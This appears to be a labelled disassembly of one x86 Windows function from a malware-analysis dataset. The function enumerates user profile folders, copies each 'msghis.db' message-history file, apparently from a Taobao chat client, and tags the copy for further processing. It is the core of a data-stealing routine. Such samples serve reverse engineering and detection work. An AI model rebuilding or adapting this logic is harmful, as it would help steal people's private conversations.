Function at 0x10017e20
Capabilities:
Copy file
Enumerate files on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002b170
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x56c
push ebx
push esi
push edi
lea eax, [ebp - 0x26c]
mov dword [ebp - 0x10], esp
push eax
push 0x10032060
call fcn.10017c90
add esp, 8
test eax, eax
je 0x1001811d
lea ecx, [ebp - 0x26c]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
je 0x1001811d
mov byte [eax], 0
or ecx, 0xffffffff
mov edi, str.profiles
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x26c]
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov dword [ebp - 4], eax
and ecx, 3
lea edx, [ebp - 0x474]
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x26c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x474]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x168]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x474]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x20], eax
je 0x10018101
mov ebx, dword [sym.imp.MSVCRT.dll_fwrite]
test byte [ebp - 0x168], 0x10
je 0x100180e1
cmp byte [ebp - 0x13c], 0x2e
je 0x100180e1
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x26c]
push edx
push eax
lea ecx, [ebp - 0x578]
push str._s_sdbmsghis.db
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x26c]
lea ecx, [ebp - 0x370]
push edx
push eax
push str._s_sdbmsghis.imw
push ecx
call esi
lea edx, [ebp - 0x578]
push 0
push edx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x18
test eax, eax
jne 0x100180e1
push eax
lea eax, [ebp - 0x370]
lea ecx, [ebp - 0x578]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 0x370]
push 0x10030154
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x100180e1
push 2
push 0
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
push esi
push 1
push 1
push 0x10030200
call ebx
push esi
push 1
push 1
push 0x1003020c
call ebx
push esi
push 6
push 1
push str.taobao
call ebx
lea edi, [ebp - 0x13c]
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
push 1
dec ecx
push 1
push 0x100301ec
mov byte [ebp - 0x14], cl
call ebx
add esp, 0x4c
lea eax, [ebp - 0x14]
push esi
push 1
push 1
push eax
call ebx
mov ecx, dword [ebp - 0x14]
push esi
and ecx, 0xff
lea edx, [ebp - 0x13c]
push ecx
push 1
push edx
call ebx
push esi
push 1
push 1
push 0x10031fdc
call ebx
push esi
push 1
lea eax, [ebp - 0x14]
push 1
push eax
call ebx
mov ecx, dword [ebp - 0x14]
add esp, 0x40
and ecx, 0xff
lea edx, [ebp - 0x13c]
push esi
push ecx
push 1
push edx
call ebx
mov eax, dword [ebp - 0x14]
push esi
and eax, 0xff
push 4
lea edx, [ebp - 0x18]
push 1
lea ecx, [eax + eax + 0xc]
push edx
mov dword [ebp - 0x18], ecx
call ebx
push esi
push 4
push 1
push 0x10030164
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x28]
push eax
lea edx, [ebp - 0x370]
push ecx
push edx
call fcn.10016000
add esp, 0x40
test eax, eax
je 0x100180e1
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
push 0
push eax
push ecx
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x370]
push edx
push eax
push ecx
call fcn.10016090
add esp, 0x18
mov esi, dword [ebp - 0x20]
lea edx, [ebp - 0x168]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10017f2d
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret